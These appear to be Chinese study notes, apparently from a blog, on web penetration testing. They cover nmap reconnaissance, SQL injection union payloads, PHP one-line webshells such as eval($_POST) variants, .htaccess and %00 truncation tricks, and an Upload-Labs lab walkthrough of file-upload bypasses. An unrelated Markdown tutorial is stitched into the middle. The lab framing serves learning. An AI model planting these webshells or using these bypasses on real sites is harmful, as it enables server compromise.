信息搜集
1、常见网站架构的类型
php+mysql+win/linux
2003 iis6.0/2008 iis7.0/2012 iis8.0
apache
nginx
aspx+access/mssql+win
jsp+oracle/mysql/+win/linux
tomcat
php+postgresql+linux
2、文件和目录扫描
见后台扫描工具
DirBuster
3、子域名收集
根域名 moonsec.com
子域名www.moonsec.com
Layer子域名挖掘机4.2纪念版http://www.moonsec.com/post-752.html4、whois,信息反查,ip,反查,邮箱反查,资产相关,域名查询
域名查询到注册人和注册邮箱,可以通过注册人或注册邮箱反查反查网站和注册人
- 爱站
- 站长工具
- 天眼
- 超级ping 查询是否用了cdn (http://ping.chinaz.com/www.moonsec.com
5、端口服务
服务器开放的端口 知道端口再查询这个端口有什么服务
nmap -Pn -sV(www.moonsec.com](http://www.moonsec.com)
nmap -Pn -sV 103.97.177.22
nmap -Pn -sV 103.97.177.22 –O
nmap -Pn -sV -A103.97.177.22
nmap -Pn -sV 103.97.177.22 —open -oN moonsec.com.txt
nmap -p0-65535 192.168.0.107
nmap -v -A -F -iLtarget.com.txt -oX target_f.xml
nmap -v -A -F -iL 1.txt -oN target_f.txt
nmap -v -A -p1-65535 -iL target.com.txt -oX target_all.xml
御剑端口扫描 http://www.moonsec.com/post-753.html
6、信息探测
网站类型:判断网站是独立开发 (网络上唯一的)还是cms二次修改或cms套用模版
敏感文件:网站的登录接口、后台、未被保护的页面、备份文件(www.rar webroot.zip..)
cms识别
云悉WEB指纹CMS识别
御剑cms识别工具
网站和常见端口的信息刺探
浏览器头信息
御剑
7、邮箱信息收集
社工库
qq群
Linux命令
ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。
cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。
命令执行分隔符
1、 ;(分号)
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它的命令的执行
2、|(管道符号)
通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
3、&(后台任务符号)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作
4、&& (逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
5、||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行
6、`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行
echo `ls -a`
将会首先执行 Is 并捕获其输出信息。然后再将它传递给 echo,并将 Is 的输出结果打印在屏幕上,这被称为命令替换
7、$(command)命令执行
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效
8、win 命令链接符
| & || && 跟 linux 一样
代码执行
由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务端执行
eval - 把字符串作为PHP代码执行
assert 一 检查一个断言是否为 false
call_user_func - 把第一个参数作为回调函数调用
call_user_func_array-调用回调函数,并把一个数组参数作为回调函数的参数
create_function-创建一个lambda式的匿名函数
preg_replace - 执行一个正则表达式的搜索和替换
array_map 一为数组的每个元素应用回调函数
函数
file_put_contents()将一个字符串写入文件
<?php $a=$_GET[‘id’]; eval($a)?>
?id=file_put_contents(‘test.php’,’<?php eval($_POST[1]);?>’)//将一句话木马放入test.php文件中,若没有这个文件则新建一个
call_user_func()把第一个参数作为回调函数调用
<?php $a=’system’;$b=$_GET[‘id’]; $b=’id’; call_user_func($a,$b);?>//执行命令
命令执行漏洞
<?php $a=$_GET[‘id’];system(‘id’);?>//执行系统命令
<?php $a=$_GET[‘id’];passthru($a);?>//执行外部程序并且显示原始输出
<?php $a=$_GET[‘id’];echo exec($a);?>//执行一个外部程序,无回显需echo
<?php $a=$_GET[‘id’];echo shell_exec($a);?>//通过shell环境执行命令,并且将完整的输出以字符串的方式返回
文件包含函数
include
<?php @include($_POST’file’);?>//@防止file没有传入参数时报错
?file=1.txt//即可在网页显示1.txt的内容(在同目录下)
require
include_once
require_once
php://(访问各个输入输出流)转为POST方式
目录查询
mb_strpos($_page, '?',?")
网址存在过滤问号,要把?进行URL(或其他)编码,再进行。
/ 根目录。
./ 当前目录。
../ 父级目录。
../多加几个都无所谓,但不能少加,
?%3f../../../../../flag
如上,一个../目录没找到,就往下一级再找,找到了为止。
Markdown语法的学习
1.代码块
//代码块 ```html
2 标题
# 一级标题 ## 二级标题
3字体
加粗 **等不到天黑** ==代码高亮显示==
==代码高亮显示==
4.引用语句
//引用语法 >作者:234324 >>作者:3424
作者:234324
作者:3424
5.分割线
//分割线 --- //分割线2 ***
//分割线
//分割线2
6.图片插入
//在线图片 /本地图片 --图片路径
7.超链接
//超链接的语法 [我的github](地址)
8.列表
//无序列表 - 目录1 - 目录二 //有序列表 1. 安达市翁
- 目录一
- 达到
- 阿达单位
- 问问给我的
快捷键
加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q 插入链接 Ctrl + L 插入代码 Ctrl + K 插入图片 Ctrl + G 提升标题 Ctrl + H 有序列表 Ctrl + O 无序列表 Ctrl + U 横线 Ctrl + R 撤销 Ctrl + Z 重做 Ctrl + Y ———————————————— 版权声明:本文为CSDN博主「lbx_15887055073」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/lbx_15887055073/article/details/81813470
sql习题
sql万能密码 1‘ or 1=1 #
select*from 表名 where 字段=’xx‘
即1‘ or 1=1 # 代入
1' order by 4 # 1'union select 1,database(),3 # geek 1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # geekuser,l0ve1ysq1 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1' # id, username ,password 1' union select 1,group_concat(password),3 from l0ve1ysq1 #
一句话木马 <?php @eval($_POST[‘pass’]);?>
文件上传
文件上传错误代码
值:0; 没有错误发生,文件上传成功。
值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
值:3; 文件只有部分被上传。
值:4; 没有文件被上传。
upload.php <?php if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } ?>
造成漏洞的原因
1.过滤的时候可以传入这种格式
aspasp
phpphp
大小写转换
头文件检测突破上传
头文件即 类似c中的include
这里可以把图片 和php文件合并 制作图片一句话 cmd cd\ copy 1.gif/b+moon.php shell.php
iis6.0解析漏洞
a) 文件名可控 后缀名不可控 iis6.0解析漏洞 moon.asp;.jpg
moon.asp;jpg
b) 目录解析漏洞 iis6.0 文件夹为 x.asp 只要上传文件到这个文件夹里 访问就会执行脚本
a) %00截断的应用场景
l 直接截断文件名
l 创建目录可控 %00截断创建目录 利用iis6.0解析漏洞 上传文件到这个目录里面
l 截断参数 生成文件
系统特性
上传文件名a.php:.jpg的时候 会在目录下生成a.php的空白文件
php+window+iis
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号” = 点号.
大于符号> = 问号?
小于符号< = 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
写入filename.<<<
6、NTFS交换数据流
:$DATA 创建文件 ::$DATA 创建和写入文件
有时上传文件在前端验证 验证为图片才发给后台 此时先发图片 抓包 改写 文件名(php格式)文件内容(一句话木马) 然后继续 然后找到上传文件地址 一般为xxxx/upload/xxx ( 这里要找到具体文件位置 ) 然后通过蚁剑链接 即可
有时上传文件在后台验证 【 这里先发图片 抓包 改写 文件名(php格式)文件内容(一句话木马)不行了 】
先发php文档尝试 不行的话抓包改文件格式为 image/jpeg 还是不行
改写为 php,php3,php4,php5,phtml.pht 为后缀 再次尝试
还是不行 说包含 ‘<?’ 这是改文件内容 没有<?的一句话木马 GIF89a? 再次尝试就可以
然后继续 然后找到上传文件地址 一般为xxxx/upload/xxx ( 这里要找到具体文件位置 ) 然后通过蚁剑链接 即可
一句话木马 <?php @eval($_POST['pass']);?> 没有<?的一句话木马 GIF89a? <script language="php">eval($_REQUEST[1])</script>
phtml
<?php phpinfo();?>用于以网页的形式输出 php的具体配置信息。 .htaccess 所有文件当成php文件解析 SetHandler application/x-httpd-php 所有jpg文件当成php文件解析 SetHandler application/x-httpd-php.jpg AddType application/x-httpd-php .png
eval的解释
eval($_POST["Syc"]);
有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST[‘posha’]的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行。
.htaccess 所有文件当成php文件解析 SetHandler application/x-httpd-php
前十题知识点 图片马不能直接上,因为要php等形式才能被解析,所以加入 .htaccess 文件 $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); //截取点后的部分 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空
文件上传Upload-Labs
第一题 js绕过
客户端js验证 先看network 有没有数据 先在桌面把php改为jpg 抓包把jpg属性为php
第二题 Content-Type检测突破上传
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name'];
这里文件类型限定
Content-Type描述的只是发送端;
发送端既可以是服务器也可以是客户端;
所以直接改为Content-Type:php
常见Content-Type: image/jpeg image/png php
第三题 穷举后缀名
黑名单 指定的后缀名是禁止上传的
白名单 就是允许上传文件后缀
穷举后缀名 moon.phtml 这里推荐直接爆破 intruder 里设置后缀名为变量
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
不允许上传.asp,.aspx,.php,.jsp后缀文件
使用别名php3,php5,phtml进行绕过
第四题
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空
先放入 .htaccess 文件 SetHandler application/x-httpd-php
再 放入 .jpg 文件 (因为直接放PHP文件会被拦)
第五关
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
没 $file_ext = strtolower($file_ext); //转换为小写
可以通过大小写改文件后缀
第六题
$file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
没 $file_ext = trim($file_ext); //首尾去空
可在最后加一个空格
第七题
$file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空
少了 $file_name = deldot($file_name);//删除文件名末尾的点
抓包 在最后加点
第八题 NTFS交换数据流 ::$DATA 创建和写入文件
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空
没 $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
在PHP后面加::$data 即可绕过
NTFS交换数据流 :$DATA 创建文件 ::$DATA 创建和写入文件
双文件上传 前面图片 后面 php
第九题
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); //截取点后的部分 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空
这里看上去没什么问题,但可以利用逻辑漏洞
这里的代码逻辑是先删除末尾点,在截取点后面的字符串,将字符串转换成小写并首尾去空
这里我们可以使用点空格点的形式
burp修改后缀为1.php为1.php. . 过滤后为1.php.
从第十题后难度开始加大 下面为后10题的知识点
第十题
$file_name = trim($_FILES['upload_file']['name']); $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess") $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name;
这题有点奇怪 好像大小写 空格 。 都行 甚至直接上传php文件都行
但查了一下 $file_name = str_ireplace($deny_ext,””, $file_name); 对敏感后缀进行了一次替换
所以对后缀进行双写如 pphphp
str_ireplace(find,replace,string,count)参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。
第十一题 00%截断
原理 xxx.php00%jpg 后缀名是合法的 在保存文件时进行截断 变为 xxx.php
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } } if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置
substr() 函数返回字符串的一部分
文件保存的方式是上传路径+随机时间+截取的文件后缀
其中上传路径可控,可以利用这一点
可以利用00截断
根据文件路径做了一个00截断,../upload/1.php%00check.jpg
00截断的操作环境需magic_quotes_gpc为off状态
第十二题
和上一个关一样不过路径上传方式由GET变成POST
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
00截断 post方式中需要修改成二进制的00而不是直接在请求数据中修改00
#在二进制中为23,为了好找,下一步在hex将23改成00
第十三题 第十四题 第十五 图片马
这里可以把图片 和php文件合并 制作图片一句话 cmd cd\
copy 1.gif/b + moon.php /a 1111.php
最简单的方式 这个改变头文件 GIF89a 变为图片的文件头
GIF89a <?php @eval($_POST['pass']);?>
第十六题
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; } }
图片经过渲染和原来的图片不同
上传图片马 结果发现php部分不见了
把图片马和下载下来的图片进行对比找到没有渲染的部分直接将一句话写进去
第十七题
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
通过move_uploaded_file保存文件在判断是否后缀是否是图片,如果是则重命名保存,如果不是删除
这里存在着一个漏洞,叫条件竞争
当我发送大量的包时,文件就会先进行保存,而判断可能会存在一定的延迟
此时上传一个php文件里面代码在创建一个包含一句话的php这样就算把上传的文件删除也会存在一个木马文件
绕过方法
上传一个php文件里面代码进行创建一个新的文件
用burp捉包,选择爆破那个模块原包发送5000次,线程50
访问上传的文件
同样再发5000个请求包去访问未删除前的地址,一但成功则会生成一个shell文件
第十八关
//index.php $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名。'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。'; break; case -2: $msg = '上传失败,上传目录不可写。'; break; case -3: $msg = '上传失败,无法上传该类型文件。'; break; case -4: $msg = '上传失败,上传的文件过大。'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件。'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录。'; break; default: $msg = '未知错误!'; break; } } //myupload.php class MyUpload{ ...... ...... ...... var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); } ...... ...... ...... };
$status_code = $u->upload(UPLOAD_PATH);对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功 绕过方法 使用上一关的木马文件,白名单中允许后缀为7z的文件上传 我们可以构造1.php.7z文件,在Apache中允许多后缀,并且从右向左解析 当我们访问1.php.7z解析成php文件,根据文件代码生成shell.php
第十九关
文件名可控,
pathinfo() 返回一个关联数组包含有 path 的信息。
包括以下的数组元素:
- [dirname]
- [basename]
- [extension]
绕过方法
使用点加空格 1.php. 获取到的后缀为点空格 在window中点空格默认会去除所以剩下1.php
第二十关
先检查文件类型,后检查是否上传了文件名没有则为文件的名字,判断是否为数组,若不是则以点分割返回一个数组,取数组最后一位数为后缀,文件保存为reset输出数组第一个数,和最后一位数保存
绕过方法
php修改后缀jpg上传捉包
文件类型已经为image/jpeg
修改上传路径为一个数组,当获取文件后缀时为jpg,合成文件名为数组第一个,和最后一个,当我们修改jpg为数组的2时,1此时是空的数组一共有三位数,但是实际只有两位,所有获取到的值为空
此时上传后的文件为1.php.
发表评论